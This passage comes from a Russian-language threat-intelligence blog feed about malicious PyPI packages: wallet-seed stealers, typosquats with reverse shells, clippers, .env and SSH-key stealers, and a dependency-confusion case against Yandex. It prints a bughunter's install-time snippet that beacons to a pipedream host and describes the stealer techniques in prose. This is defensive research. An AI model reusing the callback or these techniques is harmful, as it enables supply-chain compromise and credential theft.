<p>Первые версии пакета выглядят безобидными (<em>скриншот 4</em> — для версий 0.0.1–0.0.3), затем появляются первые подсказки по вредоносной функциональности (<em>скриншот 5</em> — версии 0.0.4–0.0.9). Начиная с версии 0.1.0 появляется логика замены файла ресурсов для криптокошелька Exodus (<em>скриншот 6</em>), а с версии 0.1.4 злоумышленник учится прикладывать бинарные файлы в релиз.</p>
<p>Автор на протяжении 19 релизов наращивает функциональность, постепенно превращая proof of concept с абсолютными путями (привет, юзер с именем <code>hammy</code>, тестирующий на <code>Exodus 24.31.4</code>) в универсальный работающий код. Далее велись лишь QoL-работы. Конечный результат вы можете видеть на <em>скриншоте 7</em>, он отражает тридцатый по счeту релиз — 0.3.1. Скрипт <code>suckme.bat</code>, сохраняемый в папку автозагрузки, — это отдельный анекдот.</p>
<p>Сам подменяемый <code>app.asar</code> использует технику, <a href="https://jfrog.com/blog/impala-stealer-malicious-nuget-package-payload/" rel="noopener" target="_blank">ранее описанную JFrog в Impala Stealer</a>, по отношению к хранилищу пакетов .NET NuGet: функция <code>unlock</code> из <code>app/wallet/index.js</code> получает функциональность отправки сид-фразы злоумышленнику (<em>скриншоты 8, 9</em>).</p>
<p>Простой способ защититься от такого рода напастей — использовать изолированное от пользовательских файлов окружение, например Docker-контейнеры. Это может не спасти конечных пользователей, но разработчики будут в определенной степени защищены от типовых атак. Кроме того, можно посмотреть в сторону <a href="https://www.ptsecurity.com/ru-ru/services/pt-pyanalysis/" rel="noopener" target="_blank">PyAnalysis</a> 😍</p>
<p>Желаем в наступающем новом году оставаться в безопасности от проделок злоумышленников 🎂</p>
<figure class="wp-block-image"><img width="1024" height="1024" src="/wp-content/uploads/2024/12/photo_155@24-12-2024_14-57-47-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2024/12/photo_155@24-12-2024_14-57-47-1024x1024.jpg 1024w, /wp-content/uploads/2024/12/photo_155@24-12-2024_14-57-47-300x300.jpg 300w, /wp-content/uploads/2024/12/photo_155@24-12-2024_14-57-47-150x150.jpg 150w, /wp-content/uploads/2024/12/photo_155@24-12-2024_14-57-47-768x768.jpg 768w, /wp-content/uploads/2024/12/photo_155@24-12-2024_14-57-47.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="/wp-content/uploads/2024/12/photo_156@24-12-2024_14-57-47-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2024/12/photo_156@24-12-2024_14-57-47-1024x1024.jpg 1024w, /wp-content/uploads/2024/12/photo_156@24-12-2024_14-57-47-300x300.jpg 300w, /wp-content/uploads/2024/12/photo_156@24-12-2024_14-57-47-150x150.jpg 150w, /wp-content/uploads/2024/12/photo_156@24-12-2024_14-57-47-768x768.jpg 768w, /wp-content/uploads/2024/12/photo_156@24-12-2024_14-57-47.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="/wp-content/uploads/2024/12/photo_157@24-12-2024_14-57-47-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2024/12/photo_157@24-12-2024_14-57-47-1024x1024.jpg 1024w, /wp-content/uploads/2024/12/photo_157@24-12-2024_14-57-47-300x300.jpg 300w, /wp-content/uploads/2024/12/photo_157@24-12-2024_14-57-47-150x150.jpg 150w, /wp-content/uploads/2024/12/photo_157@24-12-2024_14-57-47-768x768.jpg 768w, /wp-content/uploads/2024/12/photo_157@24-12-2024_14-57-47.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="/wp-content/uploads/2024/12/photo_158@24-12-2024_14-57-47-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2024/12/photo_158@24-12-2024_14-57-47-1024x1024.jpg 1024w, /wp-content/uploads/2024/12/photo_158@24-12-2024_14-57-47-300x300.jpg 300w, /wp-content/uploads/2024/12/photo_158@24-12-2024_14-57-47-150x150.jpg 150w, /wp-content/uploads/2024/12/photo_158@24-12-2024_14-57-47-768x768.jpg 768w, /wp-content/uploads/2024/12/photo_158@24-12-2024_14-57-47.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="/wp-content/uploads/2024/12/photo_159@24-12-2024_14-57-47-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2024/12/photo_159@24-12-2024_14-57-47-1024x1024.jpg 1024w, /wp-content/uploads/2024/12/photo_159@24-12-2024_14-57-47-300x300.jpg 300w, /wp-content/uploads/2024/12/photo_159@24-12-2024_14-57-47-150x150.jpg 150w, /wp-content/uploads/2024/12/photo_159@24-12-2024_14-57-47-768x768.jpg 768w, /wp-content/uploads/2024/12/photo_159@24-12-2024_14-57-47.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="/wp-content/uploads/2024/12/photo_160@24-12-2024_14-57-47-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2024/12/photo_160@24-12-2024_14-57-47-1024x1024.jpg 1024w, /wp-content/uploads/2024/12/photo_160@24-12-2024_14-57-47-300x300.jpg 300w, /wp-content/uploads/2024/12/photo_160@24-12-2024_14-57-47-150x150.jpg 150w, /wp-content/uploads/2024/12/photo_160@24-12-2024_14-57-47-768x768.jpg 768w, /wp-content/uploads/2024/12/photo_160@24-12-2024_14-57-47.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="/wp-content/uploads/2024/12/photo_161@24-12-2024_14-57-47-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2024/12/photo_161@24-12-2024_14-57-47-1024x1024.jpg 1024w, /wp-content/uploads/2024/12/photo_161@24-12-2024_14-57-47-300x300.jpg 300w, /wp-content/uploads/2024/12/photo_161@24-12-2024_14-57-47-150x150.jpg 150w, /wp-content/uploads/2024/12/photo_161@24-12-2024_14-57-47-768x768.jpg 768w, /wp-content/uploads/2024/12/photo_161@24-12-2024_14-57-47.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="/wp-content/uploads/2024/12/photo_162@24-12-2024_14-57-47-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2024/12/photo_162@24-12-2024_14-57-47-1024x1024.jpg 1024w, /wp-content/uploads/2024/12/photo_162@24-12-2024_14-57-47-300x300.jpg 300w, /wp-content/uploads/2024/12/photo_162@24-12-2024_14-57-47-150x150.jpg 150w, /wp-content/uploads/2024/12/photo_162@24-12-2024_14-57-47-768x768.jpg 768w, /wp-content/uploads/2024/12/photo_162@24-12-2024_14-57-47.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p><span class="hashtag">#ti</span> <span class="hashtag">#pypi</span> <span class="hashtag">#pyanalysis</span> <span class="hashtag">#scs</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Снова ловим багхантеров</title>
		<link>/catching-bug-hunters-again/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Fri, 18 Oct 2024 15:07:46 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d1%81%d0%bd%d0%be%d0%b2%d0%b0-%d0%bb%d0%be%d0%b2%d0%b8%d0%bc-%d0%b1%d0%b0%d0%b3%d1%85%d0%b0%d0%bd%d1%82%d0%b5%d1%80%d0%be%d0%b2/</guid>

					<description><![CDATA[Снова ловим багхантеров 💀 В одном из предыдущих постов мы писали про следы багбаунти-деятельности по отношению к «Яндексу». История повторилась, но уже с нами. Сработал алерт на активность, связанную с новыми вредоносными…]]></description>
										<content:encoded><![CDATA[<p><strong>Снова ловим багхантеров</strong> <strong> </strong><strong>💀</strong></p>
<p>В одном из <a href="https://t.me/ptescalator/65" rel="noopener" target="_blank">предыдущих постов</a> мы писали про следы багбаунти-деятельности по отношению к «Яндексу». История повторилась, но уже с нами.</p>
<p>Сработал алерт на активность, связанную с новыми вредоносными пакетами <code>innostage</code> и <code>innostage_group</code>. История нетипичная: почта у разработчика — <code>jiznetoigra@gmail.com</code> (о, русскоговорящий человек!), а нагрузка скачивается с доменов <code>files.inostage.ru</code> (мимикрия под <code>innostage-group.ru</code>) и <code>files.pythonhosted.ru</code> (мимикрия под <code>files.pythonhosted.org</code>). </p>
<p>Человеку — большое уважение: озаботился покупкой домена, еще и перед этим, вероятно, ознакомился с атаками, проводимыми ранее&#8230; Отправляем репорт в Python Package Index, уведомляем коллег из Innostage.</p>
<p>🐈  Подозреваем, автор читал <a href="https://checkmarx.com/blog/over-170k-users-affected-by-attack-using-fake-python-infrastructure/" rel="noopener" target="_blank">мартовскую статью Checkmarx</a>, где злоумышленник «протроянил» пакет colorama. Был сделан pull request, который, помимо всего прочего, в ссылках на дистрибутивы легитимный домен <code>files.pythonhosted.org</code> поменял на управляемый атакующим <code>files.pypihosted.org</code>.</p>
<p>Хоть в описании проекта и упоминается, что это багбаунти, в качестве нагрузки человек использовал не отстук (как это делал багхантер из истории с «Яндексом»), а реверс-шеллы (на скриншотах). Не совсем исследовательский подход, к сожалению.</p>
<p>Далее к пакетам <code>innostage</code> и <code>innostage_group</code> прибавились <code>cyberart</code>, &#8230; <code>posi</code>, <code>maxpatrol</code> и <code>ptsecurity</code> 🤨 Занятно. Нагрузка все та же — реверс-шеллы.</p>
<p>Домен <code>inostage.ru</code> уже <a href="https://habr.com/ru/companies/pt/articles/796835/" rel="noopener" target="_blank">ранее светился на Standoff</a>. Получается, снова обнаружили деятельность багхантеров, в этот раз еще и помешав исследованию 🤬. Что-ж&#8230;</p>
<p>———<br />
<span class="spoiler">PT PyAnalysis. Профессионально отслеживаем багхантеров с 2024 года.</span></p>
<figure class="wp-block-image"><img width="1024" height="683" src="/wp-content/uploads/2024/10/photo_94@18-10-2024_15-07-46-1024x683.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2024/10/photo_94@18-10-2024_15-07-46-1024x683.jpg 1024w, /wp-content/uploads/2024/10/photo_94@18-10-2024_15-07-46-300x200.jpg 300w, /wp-content/uploads/2024/10/photo_94@18-10-2024_15-07-46-768x512.jpg 768w, /wp-content/uploads/2024/10/photo_94@18-10-2024_15-07-46.jpg 1200w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p><span class="hashtag">#ti</span> <span class="hashtag">#pypi</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Страсти опенсорса: часть вторая</title>
		<link>/open-source-passions-part-two/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Tue, 03 Sep 2024 17:03:22 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[stealer]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d1%81%d1%82%d1%80%d0%b0%d1%81%d1%82%d0%b8-%d0%be%d0%bf%d0%b5%d0%bd%d1%81%d0%be%d1%80%d1%81%d0%b0-2/</guid>

					<description><![CDATA[Страсти опенсорса: часть вторая Инфостилеры 🧋 Ими уже никого не удивишь, ведь это популярный класс вредоносного программного обеспечения, часто упоминаемый в новостях. Большинство троянов крадут наши данные, но делают это без уважения.…]]></description>
										<content:encoded><![CDATA[<p><strong>Страсти опенсорса:</strong> часть вторая</p>
<p><strong>Инфостилеры</strong> 🧋</p>
<p>Ими уже никого не удивишь, ведь это популярный класс вредоносного программного обеспечения, часто упоминаемый в новостях. Большинство троянов крадут наши данные, но делают это без уважения. И тут разработчик <code>GeorgeTheMightyDev</code> подумал: «А что, если&#8230;»</p>
<p>И выпустил пакет <code>pojang-resorter</code>, который благодарит вас за то, что вы установили его приложение, ведь вы даете ему возможность сделать скриншот и отправить его на сервер Discord (скриншот 1). В следующих версиях нагрузка будет упакована в PyInstaller, а код — обфусцирован, однако мы оценили изначальное благородство автора ❌</p>
<p><strong>1001 мимикрия под requests</strong> 😵‍💫</p>
<p>Злоумышленники не перестают использовать кодовую базу популярной библиотеки requests для сокрытия своей вредоносной нагрузки. За эти две недели такое произошло в рамках пакетов <code>flophttp</code> и <code>invokehttp</code>. Так как в обоих случаях автор подписал себя как Kiany Reeves, у нас нет сомнений, что это одна кампания 🐶</p>
<p>Вредоносная нагрузка расположена в <code>__init__.py</code> и представляет собой обфусцированный однострочник (скриншот 2). Учитывая, что автор задает для библиотек и методов такие алиасы, как <code>borrow</code>, <code>blacktrone</code>, <code>pickachu</code>, <code>takihao</code> (скриншот 3), становится понятно, что наш злоумышленник — человек культуры.</p>
<p><strong>Сезон отстуков</strong> 🏖</p>
<p>В последнее время наблюдается особая популярность простеньких троянов-логгеров, единственная задача которых состоит в том, чтобы на этапе установки или импорта пакета отстучаться злоумышленнику, опционально утащив с собой информацию о системе, иногда еще и переменные окружения. </p>
<p>На скриншотах 4–7 представлены различные варианты реализации такого функционала: это пакеты <code>artifact-lab-3-package-77d0c154</code>, <code>artifact-lab-3-package-89883da3</code>, <code>tiktok-session-lite-sdk</code>.</p>
<p>———</p>
<p>А вы знали про фичу pip с отсутствием приоритетов репозиториев? Надеемся, что вам было интересно 👍</p>
<figure class="wp-block-image"><img width="1024" height="1024" src="/wp-content/uploads/2024/09/photo_45@03-09-2024_17-03-23-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2024/09/photo_45@03-09-2024_17-03-23-1024x1024.jpg 1024w, /wp-content/uploads/2024/09/photo_45@03-09-2024_17-03-23-300x300.jpg 300w, /wp-content/uploads/2024/09/photo_45@03-09-2024_17-03-23-150x150.jpg 150w, /wp-content/uploads/2024/09/photo_45@03-09-2024_17-03-23-768x767.jpg 768w, /wp-content/uploads/2024/09/photo_45@03-09-2024_17-03-23.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="/wp-content/uploads/2024/09/photo_46@03-09-2024_17-03-23-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2024/09/photo_46@03-09-2024_17-03-23-1024x1024.jpg 1024w, /wp-content/uploads/2024/09/photo_46@03-09-2024_17-03-23-300x300.jpg 300w, /wp-content/uploads/2024/09/photo_46@03-09-2024_17-03-23-150x150.jpg 150w, /wp-content/uploads/2024/09/photo_46@03-09-2024_17-03-23-768x767.jpg 768w, /wp-content/uploads/2024/09/photo_46@03-09-2024_17-03-23.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="/wp-content/uploads/2024/09/photo_47@03-09-2024_17-03-23-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2024/09/photo_47@03-09-2024_17-03-23-1024x1024.jpg 1024w, /wp-content/uploads/2024/09/photo_47@03-09-2024_17-03-23-300x300.jpg 300w, /wp-content/uploads/2024/09/photo_47@03-09-2024_17-03-23-150x150.jpg 150w, /wp-content/uploads/2024/09/photo_47@03-09-2024_17-03-23-768x767.jpg 768w, /wp-content/uploads/2024/09/photo_47@03-09-2024_17-03-23.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="/wp-content/uploads/2024/09/photo_48@03-09-2024_17-03-23-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2024/09/photo_48@03-09-2024_17-03-23-1024x1024.jpg 1024w, /wp-content/uploads/2024/09/photo_48@03-09-2024_17-03-23-300x300.jpg 300w, /wp-content/uploads/2024/09/photo_48@03-09-2024_17-03-23-150x150.jpg 150w, /wp-content/uploads/2024/09/photo_48@03-09-2024_17-03-23-768x767.jpg 768w, /wp-content/uploads/2024/09/photo_48@03-09-2024_17-03-23.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="/wp-content/uploads/2024/09/photo_49@03-09-2024_17-03-23-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2024/09/photo_49@03-09-2024_17-03-23-1024x1024.jpg 1024w, /wp-content/uploads/2024/09/photo_49@03-09-2024_17-03-23-300x300.jpg 300w, /wp-content/uploads/2024/09/photo_49@03-09-2024_17-03-23-150x150.jpg 150w, /wp-content/uploads/2024/09/photo_49@03-09-2024_17-03-23-768x767.jpg 768w, /wp-content/uploads/2024/09/photo_49@03-09-2024_17-03-23.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="/wp-content/uploads/2024/09/photo_50@03-09-2024_17-03-23-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2024/09/photo_50@03-09-2024_17-03-23-1024x1024.jpg 1024w, /wp-content/uploads/2024/09/photo_50@03-09-2024_17-03-23-300x300.jpg 300w, /wp-content/uploads/2024/09/photo_50@03-09-2024_17-03-23-150x150.jpg 150w, /wp-content/uploads/2024/09/photo_50@03-09-2024_17-03-23-768x767.jpg 768w, /wp-content/uploads/2024/09/photo_50@03-09-2024_17-03-23.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p><span class="hashtag">#ti</span> <span class="hashtag">#stealer</span> <span class="hashtag">#pypi</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Страсти опенсорса: мафия, стилеры и багхантинг проектов «Яндекса»</title>
		<link>/open-source-passions-mafia-stealers-and-bug-bounty-hunting-of-yandex-projects/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Tue, 03 Sep 2024 14:18:07 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d1%81%d1%82%d1%80%d0%b0%d1%81%d1%82%d0%b8-%d0%be%d0%bf%d0%b5%d0%bd%d1%81%d0%be%d1%80%d1%81%d0%b0/</guid>

					<description><![CDATA[Страсти опенсорса: мафия, стилеры и багхантинг проектов «Яндекса» 🐱 За последние две недели в Python Package Index произошло много занятного. Мы вооружились вердиктами модели машинного обучения сервиса PT PyAnalysis, дабы рассказать вам об…]]></description>
										<content:encoded><![CDATA[<p><strong>Страсти опенсорса: </strong>мафия, стилеры и багхантинг проектов «Яндекса» <strong> </strong><strong>🐱</strong><strong><br />
</strong><br />
За последние две недели в Python Package Index произошло много занятного. Мы вооружились вердиктами модели машинного обучения сервиса <a href="https://www.ptsecurity.com/ru-ru/services/pt-pyanalysis/" rel="noopener" target="_blank">PT PyAnalysis</a>, дабы рассказать вам об интересных сработках.</p>
<p><strong>Багхантеры против «Яндекса»</strong></p>
<p>Еще в январе 2023 года человек с ником <code>yandex.bughunter</code> зарегистрировал пять пакетов с разными вариантами текста:</p>

<pre class="wp-block-code"><span><code class="hljs language-python">
<span class="hljs-keyword">import</span> subprocess
<span class="hljs-keyword">import</span> os
<span class="hljs-keyword">import</span> requests

<span class="hljs-comment">#I am  bughunter</span>
<span class="hljs-comment">#t.a.neo@yandex.ru</span>
print(<span class="hljs-string">'it works!'</span>)
requests.get(<span class="hljs-string">"https://76c4&#91;REDACTED]f5d3.m.pipedream.net/example-package-taxi-etl"</span>)
</code></span></pre>

<pre class="wp-block-code"><span><code class="hljs language-python">
<span class="hljs-keyword">import</span> requests
<span class="hljs-comment">#I am  bughunter</span>
<span class="hljs-comment">#t.a.neo@yandex.ru</span>
print(<span class="hljs-string">'If you read this message and you are from Yandex write me t.a.neo@yandex.ru'</span>)
requests.get(<span class="hljs-string">"https://76c4&#91;REDACTED]f5d3.m.pipedream.net/dmp_suite"</span>)
</code></span></pre>

<p>Описание пакетов одинаковое: <code>I created this package for security testing. I am bughunter from Yandex</code>. </p>
<p>Но странно, что в метаданных PyPI-проекта автор представляется как <code>Thomas Anderson &lt;t.a.neo@yandex.ru&gt;</code>, то есть использует личную почту, а не корпоративные <code>@team.yandex.ru / @yandex-team.ru</code> ❕<code><br />
</code><br />
Не говоря уже о том, что <code>Thomas Anderson</code> — это тот самый мистер Андерсон из «Матрицы»&#8230;</p>
<p>Этот человек имитирует supply-chain-атаку, регистрируя в глобальном репозитории пакет с таким же именем, как у пакета, существующего во внутреннем репозитории определенной группы разработчиков (в данном случае — команды «Яндекса»).</p>
<p><strong>Установка пакета из глобального репозитория произойдет, если:</strong></p>
<p>🔤 Пакетный менеджер (далее — ПМ) не умеет в расстановку приоритетов скачивания из списка репозиториев. Насчет того, что pip выбирает лучший по версии пакет из всех репозиториев, указанных в его конфиге, уже давно ведутся жаркие дискуссии. В Poetry такой проблемы нет.</p>
<p>🔤 ПМ не настроен на использование внутреннего репозитория. Так может быть на свежем устройстве нового коллеги, который еще не прошел гайд для новичков.</p>
<p>🔤 В конфиге ПМ настроено приоритетное использование внутреннего репозитория вместо глобального, но внутренний по каким-то причинам сейчас недоступен.</p>
<p>🔤 В конфиге ПМ настроено приоритетное использование глобального репозитория вместо внутреннего («Если пакета нет в глобальном репозитории, значит, пакет наш и его нужно установить из внутреннего»).</p>
<p>Конфликт очередности использования репозиториев уже был в декабре 2022 года <a href="https://pytorch.org/blog/compromised-nightly-dependency/" rel="noopener" target="_blank">в известной атаке на ночные релизы torch</a>. Злоумышленник зарегистрировал в глобальном репозитории PyPI библиотеку <code>torchtriton</code>, которая обычно подтягивалась из настроенного внутреннего репозитория. При этом установка пакета происходила через pip: вот и весь секрет киллчейна.</p>
<p> 😰  В августе 2024 года мы заметили, что авторство одного из пакетов пользователя <code>yandex.bughunter</code> забрал себе <code>yandex-bot — аккаунт</code>, который владеет 1279 пакетами с интересными названиями, такими как <code>yandex-soc-services-sdk</code>, <code>yandex-cloud-ml-sdk-preview</code>,<code> yandex-infradev-tool</code>&#8230;  </p>
<p>Во всех этих пакетах автором указан <code>Yandex &lt;security@yandex-team.ru&gt;</code>. Описание гласит: <code>A package to prevent Dependency Confusion attacks against Yandex</code>, а сами пакеты вызывают исключение при попытке их поставить:</p>

<pre class="wp-block-code"><span><code class="hljs language-python">
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">InstallCommand</span><span class="hljs-params">(install)</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">run</span><span class="hljs-params">(self)</span>:</span>
        <span class="hljs-keyword">raise</span> RuntimeError(<span class="hljs-string">"You are trying to install a stub package yandex-cloud-ml-sdk-preview. Maybe you are using the wrong pypi? See https://nda.ya.ru/t/GljG&#91;REDACTED]zAGGz for details"</span>)
</code></span></pre>

<p>У нас нет подробностей того, как <code>yandex.bughunter</code> узнал список пакетов внутренней кухни «Яндекса», но, похоже, что компания заметила это и начала договариваться с багхантером. Или потихоньку отжимает пакеты через администрацию PyPI 🐱</p>
<p>To be continued&#8230;</p>
<p><span class="hashtag">#ti</span> <span class="hashtag">#pypi</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Добавляете закладки в опенсорс-репозитории? Молодой человек, пройдемте.</title>
		<link>/do-you-add-bookmarks-to-open-source-repositories-young-man-come-with-me/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Tue, 23 Jul 2024 14:22:31 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[stealer]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%b4%d0%be%d0%b1%d0%b0%d0%b2%d0%bb%d1%8f%d0%b5%d1%82%d0%b5-%d0%b7%d0%b0%d0%ba%d0%bb%d0%b0%d0%b4%d0%ba%d0%b8-%d0%b2-%d0%be%d0%bf%d0%b5%d0%bd%d1%81%d0%be%d1%80%d1%81-%d1%80%d0%b5%d0%bf%d0%be%d0%b7/</guid>

					<description><![CDATA[🤨 Добавляете закладки в опенсорс-репозитории? Молодой человек, пройдемте. В рамках threat intelligence, помимо исследования «традиционных» вредоносных программ, мы также занимаемся поиском закладок в репозитории Python Package Index с помощью сервиса PT PyAnalysis.…]]></description>
										<content:encoded><![CDATA[<p>🤨 <strong>Добавляете закладки в опенсорс-репозитории? Молодой человек, пройдемте.</strong></p>
<p>В рамках threat intelligence, помимо исследования «традиционных» вредоносных программ, мы также занимаемся поиском закладок в репозитории Python Package Index с помощью <a href="https://www.ptsecurity.com/ru-ru/services/pt-pyanalysis" rel="noopener" target="_blank">сервиса PT PyAnalysis</a>.</p>
<p>Тенденция такова, что не проходит и недели без троянов ☕️. При этом злоумышленники загружают не только полнофункциональные инфостилеры, но и свои маленькие пробы пера.</p>
<p><strong>PT PyAnalysis очернил проекты нескольких разработчиков за последние дни, расскажем о самых интересных поделках:</strong></p>
<p>🤔 <strong>Скрины 1, 2</strong>. Кампания с Android-стилером, содержащим арабские комментарии. Он отправляет файлы через телеграм-бот (как их детектить в сетевом трафике своей инфраструктуры <a href="https://t.me/ptescalator/26" rel="noopener" target="_blank">мы писали здесь</a>), токен которого вшит в коде. Пакеты имеют название вида <code>raquest</code>, <code>ebell</code>.</p>
<p>🤔 <strong>Скрин 3</strong>. Серия клипперов (троянов, ворующих данные из буфера обмена — clipboard), косящих под проверки лицензии. Закрепляются на устройствах под управлением Windows, добавляя запись автозагрузки в реестр. Слушают буфер обмена каждую секунду, в случае изменений отправляют данные в дискорд-канал. Пакеты имеют названия вида <code>testjsonn1</code>, <code>testjson2</code>, <code>gentorqkkh</code>.</p>
<p>🤔 <strong>Скрины 4, 5.</strong> Стилер, обходящий диски в поисках файлов <code>.env</code>, добывающий ключи SSH из стандартных путей и отправляющий все добро на сервер злоумышленника с помощью утилиты curl. Имеет логику, зависящую от целевой платформы: отдельную — для Windows, отдельную — для Linux и MacOS. Пакет: <code>popeye-pip-v3</code>. Имя разработчика говорит само за себя: <code>shyam_the_hacker</code>.</p>
<p><strong>Уведомили Python Package Index, пакеты выпилены</strong> 👋 </p>
<p>Несмотря на то, что названия этих пакетов выглядят незамысловато и вряд ли вы опечатаетесь, написав <code>raquest</code> вместо <code>requests</code>, такие пакеты могут попасть к вам через транзитивные зависимости. Построение внутреннего защищенного зеркала — сложный, но жизненно важный элемент для обеспечения современной безопасной разработки ❤️</p>
<figure class="wp-block-image"><img width="1024" height="1024" src="/wp-content/uploads/2024/07/photo_24@23-07-2024_14-22-31-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2024/07/photo_24@23-07-2024_14-22-31-1024x1024.jpg 1024w, /wp-content/uploads/2024/07/photo_24@23-07-2024_14-22-31-300x300.jpg 300w, /wp-content/uploads/2024/07/photo_24@23-07-2024_14-22-31-150x150.jpg 150w, /wp-content/uploads/2024/07/photo_24@23-07-2024_14-22-31-768x768.jpg 768w, /wp-content/uploads/2024/07/photo_24@23-07-2024_14-22-31.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="/wp-content/uploads/2024/07/photo_25@23-07-2024_14-22-31-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2024/07/photo_25@23-07-2024_14-22-31-1024x1024.jpg 1024w, /wp-content/uploads/2024/07/photo_25@23-07-2024_14-22-31-300x300.jpg 300w, /wp-content/uploads/2024/07/photo_25@23-07-2024_14-22-31-150x150.jpg 150w, /wp-content/uploads/2024/07/photo_25@23-07-2024_14-22-31-768x768.jpg 768w, /wp-content/uploads/2024/07/photo_25@23-07-2024_14-22-31.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
